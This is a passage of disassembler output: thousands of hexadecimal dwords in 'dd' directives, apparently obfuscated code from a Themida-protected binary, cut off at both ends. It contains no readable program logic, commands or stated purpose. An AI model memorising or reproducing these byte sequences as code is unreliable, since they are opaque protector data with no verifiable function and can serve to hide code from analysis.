0EF0F59FDh, 24EB35DFh dd 0BC19529h, 95FF05E9h, 5E91E95h, 31F19589h, 0B5B905E9h dd 6A00000Fh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1C042444h, 46000000h, 0CAB1C356h, 58DE942Bh, 891DA462h dd 0E90D5D9Dh, 83DE8B05h, 8960FCE1h, 0E9246585h, 61EA8A05h dd 89B589FCh, 0B805E904h, 0 dd 0D22BF98Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 14h, 58C35747h, 0D1C233ADh, 83D003E8h, 0F47504E9h, 0FFA8B66h dd 582h, 8DA1BB00h, 880D0218h, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 66E4C355h dd 8BB618BFh, 0E9265595h, 55006A05h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 0EAB4530Ah dd 742C1184h, 8D8BD6E5h, 5E90805h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Dh, 95C35646h, 0AA327D20h, 11A0377Bh dd 0D88B66B0h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h dd 0DF815818h, 60D7CD63h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Bh, 1CC35040h, 5DCC62B0h, 0E81CBA5Ah, 0Dh dd 0BC5EEEh, 840B76EEh, 0EB544F90h, 0BE965h, 7B270000h dd 5FDA4392h, 6E2F1E38h, 0BD835B35h, 5E91CF1h, 4D840F00h dd 0B7000000h, 71CFBF3Dh, 0B8245Ch, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h dd 3FDEC353h, 0BF9BD8Bh, 8D8D05E9h, 5E94E6Dh, 0C70319BBh dd 33E1FF19h, 0E924519Dh, 6E905h, 75DA0000h, 52C57CE1h dd 163DBD83h, 0F0005E9h, 45884h, 66DFB700h, 26DBD381h dd 163DBD83h, 0F0105E9h, 45F84h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 0B6DB81B8h dd 8079B826h, 0BD8B5CC3h, 5E90EEDh, 163DBD83h, 0F0305E9h dd 3F186h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1604h, 0C3524200h, 60BDDA49h, 66C0E780h, 8166D98Ch dd 80E76FC7h, 8C0F04E1h, 6, 1E98D89h, 0C90A05E9h, 147840Fh dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h dd 52420000h, 0B0BBBC3h, 0A595893Bh, 8B05E90Ch, 0E9286985h dd 55006A05h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h dd 0C3554500h, 8AF63173h, 9B0FC5D3h, 9E8h, 0C5D42F00h dd 0DBC60F3Ah, 11E86084h, 2C000000h, 81674D51h, 888DD0E1h dd 2646A7Dh, 84EEFEDEh, 27D5BD2Bh, 5B5F05E9h, 0E618533h dd 6E905E9h, 0C8000000h, 0F18C4FD8h, 8B579013h, 66505FD8h dd 6A90DE8Bh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1D04h, 0C3554500h, 663BC382h, 44748D84h, 0BD8916D0h dd 5E93215h, 18F0Fh, 68F50000h, 52F9735h, 17E470BBh, 2434812Ch dd 53094CAh, 0C018589h, 95FF05E9h, 5E9292Dh, 2A19D03h dd 858905E9h, 5ECBACEh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Bh, 0A2C35646h, 0C14C389Dh, 0F527D00h, 682h dd 9BD8B00h, 0E905E92Fh, 21Ah, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 14h, 0C1C35343h, 0E123BBBFh, 0C6858B60h dd 0F05ECBAh, 0C7FBB7h, 18h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Bh, 7CC35242h, 7ACD17Bh, 8B4BDDACh dd 11E9DEh, 94820000h, 79AB3F17h, 307C16C2h, 0AE0522D0h dd 8B4D12CAh, 0ECBACAB5h, 50006A05h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 0E7810E9Ah dd 5A48A0FEh, 31859D0Bh, 858B05E9h, 5E92F39h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0B4C35242h, 0F9129E67h dd 8D2908B4h, 5E92679h, 6A0689h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 301A78C3h, 8DAD982Eh dd 8D89D783h, 5E90265h, 31DD9D8Bh, 858B05E9h, 5E92869h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0D7C35545h dd 6E99563h, 85000000h, 1969097Ch, 23A7BBFAh, 46894A78h dd 55006A04h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h dd 0C3554500h, 0AD972BEBh, 8051C2C2h, 0EB812EF7h, 3C0F473Eh dd 52505096h, 83A4B960h, 5A537115h, 5A310F61h, 0BF669658h dd 9D8BEF09h, 5E929F1h, 0BAC6B5FFh, 6A05ECh, 3E850h, 58200000h dd 448958C3h, 44810424h, 180424h, 50400000h, 0A051A9C3h dd 0BF0F6A2Bh, 0AA0A68FAh, 8B669ECBh, 240481D9h, 615359F5h dd 2FE59D01h, 858D05E9h, 5ECBACEh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 18h, 0E9C35646h, 64844FC0h, 7E990h dd 0AD520000h, 0FCB7208Fh, 339050B2h, 0E91CBD9Dh, 0F98B6605h dd 292D95FFh, 6A05E9h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 150424h, 52420000h, 6680D2C3h, 361FB8Bh, 0E932859Dh dd 3D85C705h, 305E916h, 80000000h, 0BD83BCCBh, 5ECBACEh dd 4F840F00h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1A042444h, 46000000h, 0AD5C356h, 8F7BA2A1h dd 43E92Eh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1B0424h, 52420000h, 0B5D6D7C3h, 0C5E9FBFEh, 0C38166FDh dd 305034D5h, 4400110Ch, 0E8C10111h, 11443010h, 114C0002h dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h, 10E8C101h dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h dd 8B00EBE7h, 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1504h, 0C3574700h, 6A7D67h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 170424h, 53430000h, 72580EC3h, 8DBD899Eh dd 8B05E91Dh, 0E9057DBDh, 3DBD8305h, 305E916h, 49C850Fh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h dd 55450000h, 8347DAC3h, 6021BA51h, 0B9B7BFB0h, 0BD8301D4h dd 5ECBACEh, 67840F00h, 0FF000004h, 0ECBACEB5h, 53006A05h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h dd 0A7DEDD11h, 17879F20h, 9D8B5A18h, 5E925CDh, 2B7595FFh dd 6A05E9h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h dd 50400000h, 0B000DEC3h, 41AB2746h, 7C60BF66h, 0C2B58BFCh dd 8B05ECBAh, 0E919B99Dh, 820F5105h, 6, 0C818501h, 0C75F05E9h dd 1000106h, 119D8B00h, 9605E90Fh, 58E0Fh, 63BF0000h, 503E6BBBh dd 0DFB56050h, 14E8h, 0AE01200h, 0C13FCDCEh, 0DFFBF431h dd 11187461h, 0FAF3CED8h, 5F615AF3h, 53006A96h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 896C004Ah dd 0E92B01BDh, 0CEB5FF05h, 0E905ECBAh, 12h, 255699Dh, 0C7F25A25h dd 5CD5F819h, 43F15CEAh, 95FF4AC3h, 5E92B4Dh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0F8C35343h, 9E9h dd 939FCC00h, 0BAB06490h, 81608E3Ah, 0D0E938CAh, 0E5858B75h dd 6105E926h, 0BAC2B58Bh, 6A05ECh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1B0424h, 52420000h, 7C693C3h, 3818A5D6h dd 0DD858B01h, 0F05E90Fh, 588h, 2BB1BF00h dd 86894184h, 0C4h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Dh, 58C35242h, 1238B3FBh, 5B603283h, 7599BFB9h dd 8BF907E4h, 0E9265595h, 57006A05h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 8B271F17h dd 0E90B49BDh, 4C28305h, 0FE31BBBFh, 20508955h, 41C84CBFh dd 55858D55h, 0E905ECD0h, 0Fh, 0B3DE9184h, 555A46ADh, 805A23F5h dd 89A6F02Fh, 0B886h, 499D8B00h, 6A05E931h, 0BA666000h dd 850982C4h, 5E90479h, 0CEB5FF61h, 6A05ECBAh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h dd 129C355h, 0A1FAA901h, 0FFD88B66h, 0E900AD95h, 7E805h dd 3A100000h, 4D1EA6ACh, 0CE9DEh, 0EF9B0000h, 3D4E3B2Bh dd 0C5EBEE7h, 335B4384h, 0E91EB5BDh, 8B665005h, 243489D9h dd 7E8h, 0B5E78A00h, 0F3B24655h, 2699B589h, 0F5F05E9h dd 688h, 619D8900h, 0FF05E91Dh, 0ECBACEB5h, 0A1DF8005h dd 6800F60h, 89000000h, 0E92AD5BDh, 11D98105h, 61158C6Fh dd 323195FFh, 14E905E9h, 79000000h, 62FC872Eh, 0DF1CC020h dd 18DF5CD8h, 9ED49292h, 83B8D7E1h, 0E92AB1BDh, 840F0005h dd 95h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h dd 96C35242h, 498529h, 70B305E9h, 0E8525050h, 7, 1CFFAC69h dd 0F4A0BECh, 80h, 310F5B00h, 13E9h, 0E4A37100h, 1812F757h dd 2B98CC4Fh, 64E49242h, 0F3BD38D4h, 3489585Ah, 56006A24h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 75B8AA71h, 979ED2C7h, 0D381C7A6h, 71457F6Bh, 0CD8D8960h dd 0F05E931h, 38Eh, 4CCE8000h, 0CEB5FF61h, 6A05ECBAh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h dd 3B1FC352h, 0C2EA8242h, 8D291EE9h, 5E91679h, 2F6195FFh dd 9E905E9h, 0B4000000h, 0F541DAC5h, 5DA0D377h, 0BACEB5FFh dd 6A05ECh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h dd 55450000h, 9DA85C3h, 0E904C185h, 0B5BD8905h, 0FF05E932h dd 0E92DC595h, 0BE805h, 7EEA0000h, 4029768Ch, 37C50BBDh dd 68D0FBAh, 8B000000h, 0E911099Dh, 0BD835F05h, 5E903FDh dd 38840F02h, 0FC000000h, 3055858Bh, 0B9BF05E9h, 0C618065Dh dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h dd 51410000h, 8B48E7C3h, 0E90E519Dh, 658D8905h, 0C705E91Fh dd 0E927A985h, 5, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1904h, 0C3504000h, 2C16B27Bh, 27E9C533h dd 6AFFFFF3h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1C042444h, 40000000h, 9B57C350h, 0B858A47Fh, 8BC247B3h dd 57006AC1h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h dd 0C3574700h, 179651C7h, 82C85B21h, 0E9BD8B28h, 8D05E905h dd 0E921E585h, 57006A05h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1804h, 0C3574700h, 6F9EDAE0h, 820F9047h dd 0 dd 90FB8B50h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 16h, 56C35242h, 0BD0911D3h, 5E91F41h, 6A006Ah, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 8FCC74C3h, 867521E9h, 66325779h, 6A4DA9BBh, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 4586C9E9h, 3E55BD92h, 0DF817BEDh, 52B43AC0h, 2219D8Bh dd 858D05E9h, 5EE150Eh, 9D035CB7h, 5E92359h, 6A05C083h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h dd 47000000h, 5C0CC357h, 6BB66F3h, 9E950BCh, 29000000h dd 0C9C318E6h, 95CDFCE8h, 6A240489h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 0F2BBC353h dd 0DE7CC47Eh, 8BF4A230h, 0E9023D9Dh, 9006A05h, 0E916D98Dh dd 60006A05h, 0CE9h, 42F67900h, 645213AFh, 4A70C56Ah, 0FD8D8B96h dd 6105E91Dh, 0AA195FFh, 6A05E9h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1D0424h, 53430000h, 0BA7716C3h, 871D517h dd 8D8FCD9Eh, 0ECADBF8Dh, 52006A05h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 6DC74650h dd 8B0E4619h, 1145BD89h, 0B58905E9h, 5E92445h, 0DE8AD1FFh dd 1BDBD83h, 0F0105E9h, 5A85h, 0B1BB6600h, 6A026AE9h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h dd 25CBC350h, 9D8BB289h, 5E93169h, 0FE8B6650h, 0F9240489h dd 0AD95FFh, 6A05E9h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 190424h, 52420000h, 2BB4D2C3h, 0E9812D4Eh, 0DB3h, 0E8h dd 0ED815D00h, 5EE1518h, 0DCEED781h, 6A507Bh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 150424h, 51410000h, 89B1C5C3h dd 0E90F5D8Dh, 4B858D05h, 2B05EC90h, 0E91EE1BDh, 10E85005h dd 0DA000000h, 0EDF517h, 4F7FACE9h, 6957B6CDh, 5B9145CFh dd 56240489h, 28059D31h, 0E95F05E9h, 0Eh, 6713D27Ah, 90805577h dd 35EBC4CBh, 0FF649F2Fh, 35h, 64BEB700h, 2589h, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 0EFE606C3h, 8589118Ch, 5E90085h, 68985FFh, 0BF6605E9h dd 0FF6ADBA9h, 0BD8BFE8Bh, 5E92B19h, 4BDB5FFh, 6A05E9h dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 0FF4559C3h, 0E907C995h, 118E905h, 0B00000h, 30D59D8Bh dd 70E605E9h, 2820Fh, 0FB8B0000h, 3CF571E4h, 0FB830F61h dd 0E9000000h, 13h, 8832DB04h, 4A5F5C58h, 926A5B5Bh, 6A03F11Ch dd 0F701F8Ah, 0F98AC8B6h, 0DF816656h, 0BA5FC1F3h, 6, 0C18B5F56h dd 0D098D89h, 0E8C105E9h, 0DEBF0F04h, 8BE2F766h, 0E903559Dh dd 0F5C82B05h, 2850Fh, 0DA8B0000h, 8166D18Bh, 0E94BF5E7h dd 0A2h, 7EEBC781h, 858B1ADFh, 505F4C4Ch, 0DE8h, 319D8500h dd 0EA613DF8h, 0A636EBAFh, 890F6570h, 5, 8BE78166h, 0C0835BB5h dd 0EE807h, 0CCFC0000h, 6BFA3B37h, 6DCF818Dh, 0C8D57C51h dd 7E9h, 0B60ECB00h, 0FC63F092h, 0C0835Fh, 830FD03Bh, 17h dd 6880Fh, 95890000h, 5E90771h, 39E9h, 0C59D8900h, 8B05E924h dd 0FFFFFF8Dh, 0D18D89FFh, 8305E922h, 840F01E1h, 1Eh, 0B2C68060h dd 0FFA58361h, 0FEFFFFFFh, 4C9589F5h, 89505F4Ch, 0E928E1BDh dd 0E905h, 0B58D0000h, 5ED9568h, 6AFEBF0Fh, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 0C7240DF7h, 0FFF1A1ABh, 0E91E9595h, 52006A05h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 53C55F5Dh, 165A4139h, 0BE8h, 0BAD33100h, 0FDB7A77Bh dd 0BEBEC7C1h, 0D55BD8Bh, 0B95B05E9h, 10C5h, 0F39B529h dd 0E18305E9h, 0BF0F60FCh, 8C0F50F3h, 0 dd 81FC615Ah, 6A4BF7D7h, 89C02B0Ch, 0E906958Dh, 8BD22B05h dd 0E92865BDh, 0AD4BB705h, 0E8D1C233h, 0E983D003h, 6AF47504h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h dd 43000000h, 0DF9CC353h, 0EB4DAD58h, 0BD8B181Ch, 5E91EF1h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0A2C35343h dd 3CEABC68h, 880D1D3Dh, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 0E8A8C356h dd 863ECCD5h, 0BD8BB93Ch, 5E91639h, 11F1BD8Bh, 11E905E9h dd 13000000h, 99E72E99h, 0CD79EC8Ah, 0B0DD3B30h, 0CE8C565Dh dd 2655958Bh, 0BD0305E9h, 5E90EA1h, 8058D8Bh, 816605E9h dd 50470EEBh, 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h dd 55006A58h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h dd 0C3554500h, 0FF5399Dh, 687h, 65B50100h, 8305E904h, 0E91CF1BDh dd 840F0005h, 8Dh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ah, 24C35141h, 0E795842Eh, 816663C6h, 0B8C024EFh dd 0 dd 0B527EF81h, 0CF807C33h, 6D8D8DD7h, 6A05E94Eh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h dd 6635C355h, 0FFDC68BBh, 56006AE1h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 8CAD1167h dd 0BC494ECFh, 952984F5h, 5E91161h, 0B96B8FBBh, 3DBD831Ch dd 5E916h, 4A9840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 170424h, 53430000h, 0D826DCC3h, 8145B3CDh dd 2FF9D6C7h, 3DBD8371h, 105E916h, 490840Fh, 0BD890000h dd 5E90CCDh, 163DBD83h, 0F0305E9h, 44786h, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h dd 3CFCA92Bh, 159F7ECFh, 0F600FFFh, 68Fh, 0C1953100h, 905E904h dd 0E90D0D95h, 0D98C6605h, 25819D8Bh, 0E18005E9h, 10E804h dd 9A470000h, 0CB0113B4h, 19466A47h, 88DC0969h, 0BD33C9D2h dd 5E917B9h, 0FC90A5Fh, 12B84h, 8A92BB00h, 858B6F01h, 5E92869h dd 0E9F88B66h, 0Ah, 9B6A7AF1h, 0A1835700h, 85330219h, 5E90E61h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0B2C35242h dd 0BD8BD727h, 5E9067Dh, 0C8BCBB90h, 0B7500832h, 6A901Bh dd 0E8F98B66h, 4, 1F03FFh, 65BAB960h, 506112F2h, 10E2BB66h dd 424448Bh, 14E8h, 0B3CCD800h, 139E763Bh, 0B0E26F53h dd 96609708h, 6BFCDE10h, 3830F1Fh, 66000000h, 8B5FD88Bh dd 12E800h, 683B0000h, 71975F9Fh, 527555DAh, 4EE7CD66h dd 3C17CB31h, 895F5B52h, 58042444h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 16h, 16C35747h, 0F5F85DC2h, 292D95FFh dd 8D8905E9h, 5E91F71h, 0BACE8589h, 6A05ECh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 59B9F8C3h dd 0A42D8383h, 0DD858956h, 3305E900h, 0E93241BDh, 24FE905h dd 0DE90000h, 9000000h, 318A1C1Dh, 8CAE6F4Fh, 0F3E1E286h dd 0BAC6858Bh, 6A05ECh, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 27A904C3h, 26458D89h, 0EE805E9h dd 11000000h, 6F3041EFh, 2FD7FE79h, 60B34321h, 0F0F381D2h dd 5F423CE7h, 2F7DBD09h, 0C705E9h, 18h, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 14h, 37C35747h, 305D8509h dd 0B58B05E9h, 5ECBACAh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 15h, 0E1C35040h, 7E99Eh, 0E3330000h, 395C3247h dd 39858B44h, 6A05E92Fh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 15042444h, 45000000h, 2C6CC355h, 0F99D8B60h dd 8B05E904h, 0E907718Dh, 6896105h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 17h, 26C35343h, 6057B103h, 18618D8Bh dd 0B96605E9h, 1610283h, 0E926598Dh, 69858B05h, 8105E928h dd 58AFD6CFh, 4468979h, 52BB96F9h, 500145CAh, 6E960h, 0A6370000h dd 866181E7h, 61605250h, 0FE8310Fh, 32000000h, 0E356821h dd 759A3E78h, 0EFE31BA1h, 5A5E4AA3h, 0F966158h, 68Ah, 0B99D8900h dd 8105E917h, 483987DFh, 0C6B5FF37h, 6A05ECBAh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 6604C356h, 0B46CF81h, 8E9h, 0A934A900h, 0B6D0A4F7h dd 4E87Ch, 3FF0000h, 3BBB001Fh, 501E5E31h, 424448Bh, 8BD88B66h dd 95B7BF00h, 448957F1h, 0D3B70424h, 50006A58h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 0BD8B3A6Bh dd 5E92D85h, 0AB55C5BBh, 0BEBF6674h, 0CE858D7Eh, 6605ECBAh dd 8B5BCDBBh, 0E92C15BDh, 9E95005h, 2B000000h, 65B8BABEh dd 10584CE1h, 89240489h, 0E90FD9BDh, 2D95FF05h, 6A05E929h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h dd 42000000h, 29FFC352h, 0E924BD95h, 99B52905h, 0E905E92Ah dd 5, 3DA751E6h, 0BD896106h, 5E93059h, 163D85C7h, 305E9h dd 0C7810000h, 16DFC292h, 2DBD8960h, 6105E902h, 0BACEBD83h dd 0F0005ECh, 4B84h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1604h, 0C3504000h, 0FA20957h, 40E9D9B7h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1D042444h, 45000000h, 5F1BC355h, 0FE9B5F3h, 0A1959FFh dd 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 89C08B00h dd 0E9166DB5h, 52006A05h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1A04h, 0C3524200h, 3219B1EDh, 83F385CEh dd 0E9163DBDh, 850F0305h, 3F7h, 5319BF50h, 835F21D6h, 0ECBACEBDh dd 840F0005h, 3E3h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 18h, 19C35343h, 6E8FBB1Bh, 0B5FF3BB7h, 5ECBACEh dd 0EE8h, 0B92D300h, 532CB680h, 0FC1FE676h, 8B9872DAh dd 95FF5FD8h, 5E92B75h, 8BF88B66h, 0ECBAC2B5h, 8C0F05h dd 0C7000000h, 1000106h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1404h, 0C3514100h, 92C781EEh, 96643D73h dd 860F6060h, 0 dd 310F5250h, 0B261585Ah, 605061EAh, 0FE8h, 0CE5E3000h dd 0DF1934D9h, 0D24233Fh, 8AE2B9E3h, 5AD68B66h, 8E9h, 741AB400h dd 3FACA97Bh, 6A966156h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 16042444h, 47000000h, 0C9B4C357h, 0CEB5FF7Bh dd 6A05ECBAh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1C042444h, 43000000h, 5F0C353h, 655B5C74h, 89DA97A2h dd 0E905F1BDh, 4D95FF05h, 8905E92Bh, 0E92D159Dh, 0C2B58B05h dd 8B05ECBAh, 0DD858BDFh, 6A05E90Fh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0BFB1C352h dd 86896213h, 0C4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 18h, 56C35747h, 769AB96Bh, 2655958Bh, 0BF0F05E9h dd 4C283FAh, 508972B3h, 57006A20h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1504h, 0C3574700h, 9D015FCFh, 5E90E3Dh, 0D055858Dh dd 6A05ECh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h dd 56460000h, 7B308DC3h, 0AC38166h, 0B88689C8h, 0E8000000h dd 11h, 0A01FFA87h, 68EE5A29h, 8E516FD8h, 8A521152h, 8B665217h dd 6A5F5FDEh, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1D04h, 0C3524200h, 62A959EFh, 9C76994Bh, 840FFEE4h dd 3, 0FFDAB70Fh, 0ECBACEB5h, 0DA8B6605h, 24898531h, 95FF05E9h dd 5E900ADh, 0CF6DBF66h, 10E96050h, 62000000h, 29467A25h dd 25CFC9B0h, 0AD2E7F45h, 612C4153h, 0FF243489h, 0ECBACEB5h dd 0F521BF05h, 95FF4090h, 5E93231h, 2835BD8Bh, 9D8B05E9h dd 5E90405h, 2AB1BD83h, 0F0005E9h, 4884h, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 50FD9420h, 61609646h, 0FE8B6650h, 55006A96h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 0F3801972h dd 0CEB5FF79h, 6A05ECBAh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 0FF8DC352h, 0E92F6195h dd 56006A05h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h dd 0C3564600h, 7B73B324h, 0A1A0A75Eh, 0B5FF7ED8h, 5ECBACEh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h dword_590368 dd 4244481h, 17h, 0F9C35545h, 0E868286Fh, 7, 0A5FED7F7h ; DATA XREF: Themida_:00546EE0o dd 52596A70h, 2AE59D8Bh, 5F5B05E9h, 2DE9BD31h, 95FF05E9h dd 5E92DC5h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 14h, 2C35747h, 83D4EB80h, 0E903FDBDh, 840F0205h, 3Dh dd 4543D381h, 858B1674h, 5E93055h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ah, 5DC35343h, 0F6688C38h, 9D01D8E3h dd 5E9178Dh, 890000C6h, 0E92561BDh, 0A985C705h, 5E927h dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 19042444h, 42000000h, 0FD40C352h, 3B687724h, 0E9DA8B66h dd 0FFFFF362h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 14h, 93C35747h, 0C18BFB8Bh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Dh, 0B1C35747h, 65D24C13h, 0CC7D62B3h dd 199D2326h, 0E905E928h, 0Fh, 30B78440h, 2A5D9C45h, 3263FE6Dh dd 8DDC4400h, 0E921E585h, 52006A05h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 48DF0CC7h dd 66904D27h, 6650FB8Bh, 8990DE8Bh, 0E90915BDh, 6A006A05h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 0F1EC351h, 680h, 0B9BD8B00h, 2B05E927h, 0E919299Dh dd 0E8006A05h, 0Ah, 971527E0h, 315638E7h, 9D33BDE3h, 5E91845h dd 98858D5Bh, 0F05EE24h, 0F960DFB7h, 96C3B966h, 5C08361h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 40C35040h dd 0F519D8Bh, 665005E9h, 89F133BFh, 6A2404h, 3E850h, 58200000h dd 448958C3h, 44810424h, 190424h, 50400000h, 6F6A36C3h dd 0F1C1213h, 830FFFBFh, 6, 28E98531h, 6A05E9h, 100D9D8Bh dd 6A05E9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 15h, 18C35141h, 55B531FCh, 0FF05E910h, 0E90AA195h, 9D31FC05h dd 5E91D75h, 0ADBF8D8Dh, 6A05ECh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 140424h, 55450000h, 0CE949C3h, 82000000h dd 73924BCDh, 2E260AC8h, 0FFED4B76h, 14E8D1h, 0FCEC0000h dd 0DC5D8691h, 2A1A4A9Ch, 0A4E3E44h, 55B045CCh, 0B70FD013h dd 0BD835FFBh, 5E901BDh, 4E850F01h, 0E8000000h, 10h, 0CACD9B7Dh dd 0BDBDEAFFh, 0BC82D4E6h, 6A1A0AC4h, 0EDB58960h, 305E908h dd 